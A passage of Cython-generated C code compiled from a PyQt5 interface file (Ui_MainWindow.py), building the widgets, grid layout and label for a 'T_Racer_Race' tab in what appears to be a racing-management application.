__Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 330, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race, __pyx_t_3) < 0) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":331 * self.Tab_Container.addTab(self.T_Category, "") * self.T_Racer_Race = QtWidgets.QWidget() * self.T_Racer_Race.setObjectName("T_Racer_Race") # <<<<<<<<<<<<<< * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__195, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":332 * self.T_Racer_Race = QtWidgets.QWidget() * self.T_Racer_Race.setObjectName("T_Racer_Race") * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) # <<<<<<<<<<<<<< * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget_3, __pyx_t_3) < 0) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":333 * self.T_Racer_Race.setObjectName("T_Racer_Race") * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) # <<<<<<<<<<<<<< * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__196, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":334 * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") # <<<<<<<<<<<<<< * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__197, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":335 * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) # <<<<<<<<<<<<<< * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) * self.gridLayout_3.setHorizontalSpacing(4) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QGridLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout_3, __pyx_t_3) < 0) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":336 * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) # <<<<<<<<<<<<<< * self.gridLayout_3.setHorizontalSpacing(4) * self.gridLayout_3.setVerticalSpacing(0) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 336, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 336, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__198, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 336, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":337 * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) * self.gridLayout_3.setHorizontalSpacing(4) # <<<<<<<<<<<<<< * self.gridLayout_3.setVerticalSpacing(0) * self.gridLayout_3.setObjectName("gridLayout_3") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setHorizontalSpacing); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__199, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":338 * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) * self.gridLayout_3.setHorizontalSpacing(4) * self.gridLayout_3.setVerticalSpacing(0) # <<<<<<<<<<<<<< * self.gridLayout_3.setObjectName("gridLayout_3") * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setVerticalSpacing); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__200, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":339 * self.gridLayout_3.setHorizontalSpacing(4) * self.gridLayout_3.setVerticalSpacing(0) * self.gridLayout_3.setObjectName("gridLayout_3") # <<<<<<<<<<<<<< * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() * self.horizontalLayout_7.setObjectName("horizontalLayout_7") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__201, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":340 * self.gridLayout_3.setVerticalSpacing(0) * self.gridLayout_3.setObjectName("gridLayout_3") * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_7.setObjectName("horizontalLayout_7") * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 340, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_7, __pyx_t_3) < 0) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":341 * self.gridLayout_3.setObjectName("gridLayout_3") * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() * self.horizontalLayout_7.setObjectName("horizontalLayout_7") # <<<<<<<<<<<<<< * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) * self.label_33.setEnabled(True) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__202, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":342 * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() * self.horizontalLayout_7.setObjectName("horizontalLayout_7") * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_33.setEnabled(True) * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_33, __pyx_t_3) < 0) __PYX_ERR(0, 342, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":343 * self.horizontalLayout_7.setObjectName("horizontalLayout_7") * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) * self.label_33.setEnabled(True) # <<<<<<<<<<<<<< * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__203, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":344 * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) * self.label_33.setEnabled(True) * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) # 